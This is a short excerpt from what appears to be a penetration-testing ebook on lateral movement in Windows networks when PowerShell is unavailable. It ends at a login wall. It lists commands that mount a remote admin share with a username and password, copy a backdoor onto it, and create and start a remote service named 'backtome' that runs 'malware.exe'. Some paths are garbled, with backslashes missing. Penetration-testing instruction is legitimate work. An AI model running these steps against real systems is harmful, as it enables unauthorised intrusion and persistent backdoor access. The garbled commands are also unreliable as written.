Lateral movement using services

What if penetration testers encounter a system with no PowerShell to invoke? During such cases, SC will be very handy for performing lateral movement in the network for all of the systems that you have access to or systems with anonymous access to the shared folder:

  1. * net use \advancedc$/user:advancedusername password
  2. dir \advancedc$
  3. Copy the backdoor that's been created to the shared folder

 

  1. Create a service called backtome
  2. * Sc \remotehost create backtome binpath="c:xxmalware.exe"
  3. Sc remotehost start backtome
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.217.8.82